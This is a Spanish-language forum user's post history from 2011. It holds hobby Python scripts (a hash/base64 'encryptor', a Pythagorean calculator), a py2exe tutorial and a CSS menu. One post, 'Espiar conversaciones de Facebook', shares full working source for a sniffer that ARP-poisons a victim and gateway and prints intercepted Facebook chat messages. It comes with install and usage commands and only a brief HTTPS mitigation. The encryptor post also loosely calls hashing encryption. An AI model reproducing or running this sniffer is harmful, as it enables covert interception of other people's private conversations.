Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
#21
Python / Re:[Código] Encriptador de Cadenas V1 [Python]
Junio 08, 2011, 12:16:34 AM #22
Python / Encriptador by ZtuX v2.0 [Python]
Junio 08, 2011, 12:15:52 AM
Hace poco publique un codigo para encriptar palabras y "mejore" el codigo gracias a los consejos de sthefano02...
Aqui el code...
Código: python
Gracias a sthefano02 por sus consejos xD
Aqui el code...
#!/bin/Python
# -*- coding: cp1252 -*-
import sys, base64, hashlib, hmac
from string import maketrans
#Codificacion con maketrans
ZtuX=maketrans("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789","m0b1c2z3k4h5f6s7p8i9y0rewqQW]RT[UI$%A(D-G)JK<Z#CVB/M@&\*.;_^{}")
#Decodificación con makeTrans
Ztux=maketrans("m0b1c2z3k4h5f6s7p8i9y0rewqQW]RT[UI$%A(D-G)JK<Z#CVB/M@&\*.;_^{}","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
def _md5(palabra):
return hashlib.md5(palabra).hexdigest()
def code_base64(palabra):
return base64.b64encode(palabra)
def decode_base64(palabra):
return base64.b64decode(palabra)
def ztux(palabra):
return palabra.translate(ZtuX)
def dztux(palabra):
return palabra.translate(Ztux)
def sha1(palabra):
return hashlib.sha1(palabra).hexdigest()
def sha256(palabra):
return hashlib.sha256(palabra).hexdigest()
def sha384(palabra):
return hashlib.sha384(palabra).hexdigest()
def sha512(palabra):
return hashlib.sha512(palabra).hexdigest()
def Hmac(palabra):
return hmac.new(palabra).hexdigest()
def run():
ver='2.0'
if (len(sys.argv)==1) or sys.argv[1]=="-h" or sys.argv[1]=="--help":
print """
===========================================
ZtuX
===========================================
Visita: http://z0kw3r-syst3m.blogspot.com/
===========================================
>>>Modo de uso: cript.py [Palabra] [Hash]
>>>Ejemplo: cript.py Encriptar_esto -md5
-h Muestra esto en pantalla
-v Muestra la Version del Programa
-md5 Codifica en MD5
-base64 Codifica en base64
-dbase64 Decodifica en base64
-ztux Codifica en ZtuX
-dztux Decodifica ZtuX
-sha Codifica en sha1
-sha256 Codifica en sha256
-sha384 Codifica en sha384
-sha512 Codifica en sha512
-hmac Codifica en hmac
"""
elif sys.argv[1]=='-v' or sys.argv[1]=='--version':
print "Cript version: " + ver + "\nAutor: ZtuX"
elif sys.argv[2]=='-md5':
palabra=sys.argv[1]
print 'Texto Codificado: %s'%_md5(palabra)
elif sys.argv[2]=='-base64':
palabra=sys.argv[1]
print 'Texto Codificado: %s'%code_base64(palabra)
elif sys.argv[2]=='-dbase64':
palabra=sys.argv[1]
print 'Texto Decodificado: %s'%decode_base64(palabra)
elif sys.argv[2]=='-ztux':
palabra=sys.argv[1]
print 'Texto Codificado: %s'%ztux(palabra)
elif sys.argv[2]=='-dztux':
palabra=sys.argv[1]
print 'Texto Decodificado: %s'%dztux(palabra)
elif sys.argv[2]=='-sha':
palabra=sys.argv[1]
print 'Texto Codificado: %s'%sha1(palabra)
elif sys.argv[2]=='-sha256':
palabra=sys.argv[1]
print 'Texto Codificado: %s'%sha256(palabra)
elif sys.argv[2]=='-sha384':
palabra=sys.argv[1]
print 'Texto Codificado: %s'%sha384(palabra)
elif sys.argv[2]=='-sha512':
palabra=sys.argv[1]
print 'Texto Codificado: %s'%sha512(palabra)
elif sys.argv[2]=='-hmac':
palabra=sys.argv[1]
print 'Texto Codificado: %s'%Hmac(palabra)
else:
print 'Debes indicar Frase y hash a encriptar...'
print 'Para mas informacion teclea -h o --help o -ayuda'
run()
Gracias a sthefano02 por sus consejos xD
#23
Python / Encriptador by ZtuX [Python]
Junio 06, 2011, 12:32:52 AM
Bien, hoy programe un encriptador, que encripta en MD5, sha1, y otros...
Es la version 1.0 de mi programa xD
El ejecutable esta dentro de la carpeta dist, se llama cript.exe ...
La forma de usarlo es cript.exe palabra_a_encriptar -hash
Por ejemplo:
>>> cript.exe ZtuX -md5
Recuerden son necesarias las carpetas Build y Dist, si no el archivo no funcionara...
Criticas (CONSTRUCTIVAS) son bienvenidas...
Código: python

Descarga: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
FAVOR: Si van a postarlo en otro lado, coloquen los creditos...
Gracias
Y aqui el CODE:
Código: python
SI MODIFICAN EL CODE NO SE OLVIDEN DE KIEN LO PROGRAMO VALE
Es la version 1.0 de mi programa xD
El ejecutable esta dentro de la carpeta dist, se llama cript.exe ...
La forma de usarlo es cript.exe palabra_a_encriptar -hash
Por ejemplo:
>>> cript.exe ZtuX -md5
Recuerden son necesarias las carpetas Build y Dist, si no el archivo no funcionara...
Criticas (CONSTRUCTIVAS) son bienvenidas...
ZtuX
Visita: http://z0kw3r-syst3m.blogspot.com/
Modo de uso: cript.py [Palabra] [Hash]
Ejemplo: cript.py Encriptar_esto -md5
-h Muestra la Ayuda
-v Muestra la Version del Programa
-md5 Codifica en MD5
-base64 Codifica en base64
-dbase64 Decodifica en base64
-ztux Codifica en ZtuX
-dztux Decodifica ZtuX
-sha Codifica en sha1
-hmac Codifica en hmac
Descarga: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
FAVOR: Si van a postarlo en otro lado, coloquen los creditos...
Gracias
Y aqui el CODE:
#!/bin/Python
# -*- coding: cp1252 -*-
import sys
import base64
import hashlib
from string import maketrans
import hmac
#Codificacion con maketrans
ZtuX=maketrans("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789","m0b1c2z3k4h5f6s7p8i9y0rewqQW]RT[UI$%A(D-G)JK$Z#CVB/M@&\*.;_^{}")
#Decodificación con makeTrans
Ztux=maketrans("m0b1c2z3k4h5f6s7p8i9y0rewqQW]RT[UI$%A(D-G)JK$Z#CVB/M@&\*.;_^{}","abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
def _md5(palabra):
txt=hashlib.md5()
txt.update(palabra)
print 'Texto Codificado: ',txt.hexdigest()
def code_base64(palabra):
print 'Texto Codificado: ', base64.b64encode(palabra)
def decode_base64(palabra):
print 'Texto Decodificado: ', base64.b64decode(palabra)
def ztux(palabra):
print 'Texto Codificado: ',palabra.translate(ZtuX)
def dztux(palabra):
print 'Texto Decodificado: ',palabra.translate(Ztux)
def sha1(palabra):
print 'Texto Codificado: ',hashlib.sha1(palabra).hexdigest()
def Hmac(palabra):
print 'Texto Codificado: ',hmac.new(palabra).hexdigest()
def run():
ver='1.0'
if len(sys.argv) == 1 or sys.argv[1]=="-h" or sys.argv[1]=="--help":
print """
ZtuX
Visita: http://z0kw3r-syst3m.blogspot.com/
Modo de uso: cript.py [Palabra] [Hash]
Ejemplo: cript.exe Encriptar_esto -md5
-h Muestra la Ayuda
-v Muestra la Version del Programa
-md5 Codifica en MD5
-base64 Codifica en base64
-dbase64 Decodifica en base64
-ztux Codifica en ZtuX
-dztux Decodifica ZtuX
-sha Codifica en sha1
-hmac Codifica en hmac
"""
elif sys.argv[1]=='-v' or sys.argv[1]=='--version':
print "Cript version: " + ver + "\nAutor: ZtuX"
elif sys.argv[2]=='-md5':
palabra=sys.argv[1]
_md5(palabra)
elif sys.argv[2]=='-base64':
palabra=sys.argv[1]
code_base64(palabra)
elif sys.argv[2]=='-dbase64':
palabra=sys.argv[1]
decode_base64(palabra)
elif sys.argv[2]=='-ztux':
palabra=sys.argv[1]
ztux(palabra)
elif sys.argv[2]=='-dztux':
palabra=sys.argv[1]
dztux(palabra)
elif sys.argv[2]=='-sha':
palabra=sys.argv[1]
sha1(palabra)
elif sys.argv[2]=='-hmac':
palabra=sys.argv[1]
Hmac(palabra)
else:
print 'Debes indicar Frase y hash a encriptar...'
print 'Para mas informacion teclea -h o --help'
run()
SI MODIFICAN EL CODE NO SE OLVIDEN DE KIEN LO PROGRAMO VALE

#24
Python / Como crear un ejecutable [.exe] de Python para poderlo ejecutar en Windows
Mayo 27, 2011, 08:27:01 PM
Bien, pues hoy les mostrare como crear ejecutables [.exe] de archivos de Python, para que puedan correr sus programitas en otra maquina sin tener instalado el Interprete de Python.
Bien Empezamos:
Tenemos que tener Instalado Python 2.x o 3.x
Tambien tenemos que bajar py2exe, e instalarlo, lo puedes bajar desde You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, debes de bajar segun la version de Python que tengas Instalado...
Bien una vez echo esto haremos un archivo llamado You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, que tendra lo siguiente:
Código: text
En donde dice 'TuArchivo.py' es el nombre de el programa que deseas convertir a .exe
Una vez creado, lo llevaremos al directorio donde estan instalado Python, normalmente es en C:\Python26, [en este caso es la version que yo uso, puede ser 27 o cualquier otra, todo depende de la version que tengan instalada de Python]
Tambien copiamos nuestro programa al directorio C:\Python26, despues solo basta con abrir una ventanda del cmd e ir al directorio donde esta nuetro You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, que seria algo como C:\Python26\ en este caso.
Despues solo bastaria con teclear el siguiente comando:
Código: text

Y esperamos a que se cree nuestro exe...

Nos creara dos carpetas Nuevas, una llamada build y otra dist, en esta ultima se encuentra nuestro archivo . exe, ustedes lo identificaran a instante, lo buscamos y lo ejecutamos con tan solo dar doble click y Vuala, ya tenmos nuestro exe.

Para Poderlo ejecutar en Otra PC necesitamos llevar esas dos carpetas SIEMPRE, si no no podran arrancar su programa...

Saludos
by ZtuX
Bien Empezamos:
Tenemos que tener Instalado Python 2.x o 3.x
Tambien tenemos que bajar py2exe, e instalarlo, lo puedes bajar desde You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, debes de bajar segun la version de Python que tengas Instalado...
Bien una vez echo esto haremos un archivo llamado You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, que tendra lo siguiente:
from distutils.core import setup
import py2exe
setup(console=['TuArchivo.py'])En donde dice 'TuArchivo.py' es el nombre de el programa que deseas convertir a .exe
Una vez creado, lo llevaremos al directorio donde estan instalado Python, normalmente es en C:\Python26, [en este caso es la version que yo uso, puede ser 27 o cualquier otra, todo depende de la version que tengan instalada de Python]
Tambien copiamos nuestro programa al directorio C:\Python26, despues solo basta con abrir una ventanda del cmd e ir al directorio donde esta nuetro You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login, que seria algo como C:\Python26\ en este caso.
Despues solo bastaria con teclear el siguiente comando:
python setup.py py2exe Y esperamos a que se cree nuestro exe...
Nos creara dos carpetas Nuevas, una llamada build y otra dist, en esta ultima se encuentra nuestro archivo . exe, ustedes lo identificaran a instante, lo buscamos y lo ejecutamos con tan solo dar doble click y Vuala, ya tenmos nuestro exe.
Para Poderlo ejecutar en Otra PC necesitamos llevar esas dos carpetas SIEMPRE, si no no podran arrancar su programa...
Saludos
by ZtuX
#25
Python / Teorema de Pitagoras
Mayo 22, 2011, 01:32:54 AM
Asi es, el teorema de pitágoras en Python
Les dejo el code:
Código: python
Seguro a alguien le sirve ^^
Les dejo el code:
#!/bin/python
#TEOREMA DE PITAGORAS
#By ZtuX
import math
def CO(h,a):
operacion = math.sqrt((h*h)-(a*a))
print 'El Cateto Opuesto Vale: ',operacion
def CA(h,o):
operacion = math.sqrt((h*h)-(o*o))
print 'El Cateto Adyacente Vale: ',operacion
def HIP(o,a):
operacion = math.sqrt((o*o)+(a*a))
print 'La hipotenusa Vale: ',operacion
def main():
print 'Teorema de Pitagoras'
print '''
[1] Cateto Opuesto
[2] Cateto Adyacente
[3] Hipotenusa
'''
opc=input('Que deseas calcular[?] ')
if opc ==1:
a=input("Cateto Adyacente[?]: ")
h=input("Hipotenusa[?]: ")
CO(h,a)
elif opc==2:
o=input("Cateto Opuesto[?]: ")
h=input("Hipotenusa[?]: ")
CA(h,o)
elif opc==3:
o=input("Cateto Opuesto[?]: ")
a=input("Cateto Adyacente[?]: ")
HIP(o,a)
elif opc !=4:
print '>>>Tu opcion no es correcta'
raw_input()
main()
else:
exit()
main()
Seguro a alguien le sirve ^^
#26
Hacking / Espiar conversaciones de Facebook
Mayo 18, 2011, 11:14:30 PM
Hola amigos...
Hoy les dejo esta herramienta, que lo que hace es espiar conversaciones de Facebook... En concreto esta tool es un sniffer...
El código esta escrito en Python, y bueno para usarlo necesitan tener instalado lo siguiente:
Python 2.x
arpspoof (dsniff suite)
dpkt
pypcap
Para instalar dichas herramientas en Ubuntu lo pueden hacer con el siguiente comando:
Código: text
Una vez instalado esta, podran usar dicha herramienta!!
Este es el source de la tool, y tambien You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login:
Código: text
Y bueno, ahora ¿Como usarlo?
Bien primero copiamos nuestro código en un Editor de Textos como Gedit [por ejemplo] y lo guardamos con la extension .py[IMPORTANTE LA EXTENSION .PY], con el nombre sniff... Preferentemente guardarlo en el Escritorio, y nos quedara como You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Despues tendremos que darle permisos de Ejecucion y lo hacemos de la sig. manera:
Abrimos una Terminal y nos vamos al lugar donde guardamos nuestro archivo... y tecleamos:
Código: text

Como podran notar, en la imagen el nombre del archivo cambio de color, esto porque ahora tiene permisos de ejecucion...
Y bien para hacerlo funcionar, solo basta escribir en una terminal:
Código: text
Y nos devuelve algo como:

Código: text
Y para usarlo ahi tienen la sintaxis y un ejemplo...
Si asi es YO lo traducí jaja xD LOL!!
Bueno eso es todo, alguna duda?? por MP
SaludOS
Por cierto se me olvidaba la página oficial de donde obtuve el source esta You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Y ¿Como evitar este ataque?
Simple, ahora Facebook nos permite cifrar nuesta navegacion, para ello hay que ir a las opciones de nuestra cuenta y elegir la navegacion a travez de https
by ZtuX
Source: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Hoy les dejo esta herramienta, que lo que hace es espiar conversaciones de Facebook... En concreto esta tool es un sniffer...
El código esta escrito en Python, y bueno para usarlo necesitan tener instalado lo siguiente:
Python 2.x
arpspoof (dsniff suite)
dpkt
pypcap
Para instalar dichas herramientas en Ubuntu lo pueden hacer con el siguiente comando:
sudo apt-get install python-dpkt python-pypcap dsniffUna vez instalado esta, podran usar dicha herramienta!!
Este es el source de la tool, y tambien You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login:
#!/usr/bin/env python
#-*-encoding:utf8-*-
""" 2011 vdo.pure at gmail.com"""
''' Traducido por ZtuX... secret.user8[at]gmail[dot].com'''
"""
Este programa es software libre: Usted puede redistribuirlo y / o modificar
bajo los términos de la licencia GNU General Public License publicada por
la Free Software Foundation, bien de la versión 3 de la Licencia, o
(a su elección) cualquier versión posterior.
Este programa se distribuye con la esperanza de que sea útil,
pero SIN NINGUNA GARANTÍA, incluso sin la garantía implícita de
COMERCIALIZACIÓN o IDONEIDAD PARA UN PROPÓSITO PARTICULAR. Consulte la
Licencia Pública General GNU para más detalles.
Usted debería haber recibido una copia de la Licencia Pública General GNU
junto con este programa. Si no, vaya a http://www.gnu.org/licenses/>.
"""
import sys, os
import dpkt, pcap
def check_root():
""" Devuelve Verdadero (True) si el usuario es root, de lo contrario Falso (False) """
if os.getenv('LOGNAME','none').lower() == 'root':
return True
return False
def poison(iface,victim, gw):
""" IP Forwarding """
os.system("sysctl -w .net.ipv4.ip_forward=1 > /dev/null")
""" ARP cache poisoning, silent, in both directions """
os.system("arpspoof -i "+iface+" -t "+victim+" "+gw+" 2> /dev/null &")
os.system("arpspoof -i "+iface+" -t "+gw+" "+victim+" 2> /dev/null &")
print("Envenenamiento de Cache ARP...")
def fbchatgrep(p,pid):
data = str(p.data)
if ("{\"t\":\"msg") and ("\"type\":\"msg\"") in data:
msgid=data[data.find("\"msgID\":")+9:data.rfind("\"},\"from\":")]
if (pid != msgid ): #Comprobar si el mensaje apareció antes (ARP poison clones)
pid = msgid
print(" ")
s = "Mensaje de: "+data[data.find("from_name\":\"")+12:data.rfind("\",\"from_first_name")]
print(unicode(s,'unicode_escape').encode('utf-8'))
s = "Para: "+data[data.find("to_name\":\"")+10:data.rfind("\",\"to_first_name")]
print(unicode(s,'unicode_escape').encode('utf-8'))
s = data[data.find("\"text\":")+8:data.rfind(",\"time\"")-1]
print(unicode(s,'unicode_escape').encode('utf-8'))
print(" ")
return pid
if __name__ == '__main__':
if len(sys.argv) < 4:
print '''Traducido por ZtuX... Visita http://mundohacking.com
Para usar siga esta Sintaxis: ./sniff.py <Intefaz> <Victima> <Gateway>
Ejemplo: ./sniff.py eth0 192.168.1.2 192.168.1.254'''
sys.exit(0)
if not check_root():
print 'Debes ser SuperUsuario'
sys.exit(1)
pid="fo bar"
pc = pcap.pcap(sys.argv[1])
pc.setfilter('tcp and port 80') #Sniff only http
try:
print 'Escuchando en: %s' % (pc.name)
print 'Para Salir teclea: Control+C'
poison(sys.argv[1],sys.argv[2],sys.argv[3])
for ts, pkt in pc:
packet = dpkt.ethernet.Ethernet(pkt)
pid = fbchatgrep(packet,pid)
except KeyboardInterrupt:
os.system("sysctl -w .net.ipv4.ip_forward=0 > /dev/null") # Deshabilitar IP Delantera
nrecv, ndrop, nifdrop = pc.stats()
print '\n%d packets received by filter' % nrecv
print '%d packets dropped by kernel' % ndrop
Y bueno, ahora ¿Como usarlo?
Bien primero copiamos nuestro código en un Editor de Textos como Gedit [por ejemplo] y lo guardamos con la extension .py[IMPORTANTE LA EXTENSION .PY], con el nombre sniff... Preferentemente guardarlo en el Escritorio, y nos quedara como You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Despues tendremos que darle permisos de Ejecucion y lo hacemos de la sig. manera:
Abrimos una Terminal y nos vamos al lugar donde guardamos nuestro archivo... y tecleamos:
chmod +x sniff.pyComo podran notar, en la imagen el nombre del archivo cambio de color, esto porque ahora tiene permisos de ejecucion...
Y bien para hacerlo funcionar, solo basta escribir en una terminal:
./sniff.pyY nos devuelve algo como:
./sniff.py
Traducido por ZtuX... Visita http://mundohacking.com
Para usar siga esta Sintaxis: ./sniff.py <Intefaz> <Victima> <Gateway>
Ejemplo: ./sniff.py eth0 192.168.1.2 192.168.1.254
Y para usarlo ahi tienen la sintaxis y un ejemplo...
Si asi es YO lo traducí jaja xD LOL!!
Bueno eso es todo, alguna duda?? por MP
SaludOS
Por cierto se me olvidaba la página oficial de donde obtuve el source esta You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
Y ¿Como evitar este ataque?
Simple, ahora Facebook nos permite cifrar nuesta navegacion, para ello hay que ir a las opciones de nuestra cuenta y elegir la navegacion a travez de https
by ZtuX
Source: You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#27
Zona Webmaster / [CSS][BASICO] Creando un menu
Mayo 15, 2011, 12:07:38 AM
Hola que hay!!
Pues quiero publicar un menú que hice con HTML/CSS, es muy básico pero tiene un efecto, que cuando pasas el puntero en una opcion este sobre sale...
Aqui una captura de como Luce:

Y You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login un demo...
Y aqui dejo el código:
Código: html5
Claro ustedes lo pueden editar a su gusto, con los colores que quieran
, e incluso recomiendo que hagan una hoja de estilos a parte y despues solo la vinculen con la pagina html...
def ZtuX()
print 'Saludos'
print 'By ZtuX'
Pues quiero publicar un menú que hice con HTML/CSS, es muy básico pero tiene un efecto, que cuando pasas el puntero en una opcion este sobre sale...
Aqui una captura de como Luce:

Y You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login un demo...
Y aqui dejo el código:
<html>
<head><title>Menu Con CSS by ZtuX</title>
<style type="text/css">
#menu
{
background-color:#000;
width: 800px;
margin:auto;
border:1px solid;
border-radius: 1px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
text-align:center;
}
.lista
{
display:inline;
}
.lista a
{
color:#0f0;
list-style:none;
display:inline;
padding: 15px;
list-style:none;
text-decoration:none;
}
.lista a:hover
{
color:#0f0;
background-color:#333;
list-style:none;
display:inline;
padding: 5px;
text-decoration:none;
list-style:none;
link:none;
border:1px solid;
border-radius: 1px;
-moz-border-radius: 10px;
-webkit-border-radius: 10px;
}
</style>
</head>
<body>
<h1 align="center">Menú Básico con HTML/CSS</h1>
<ul id="menu">
<li class="lista"><a href="#">Inicio</a></li>
<li class="lista"><a href="#">Mis productos</a></li>
<li class="lista"><a href="#">Sobre Mi</a></li>
<li class="lista"><a href="#">Contacto</a></li>
<li class="lista"><a href="#">Mas</a></li>
<li class="lista"><a href="#">Mas</a></li>
<li class="lista"><a href="#">Mas</a></li>
<li class="lista"><a href="#">Mas</a></li>
</ul>
</body>
</html>
Claro ustedes lo pueden editar a su gusto, con los colores que quieran
, e incluso recomiendo que hagan una hoja de estilos a parte y despues solo la vinculen con la pagina html...def ZtuX()
print 'Saludos'
print 'By ZtuX'

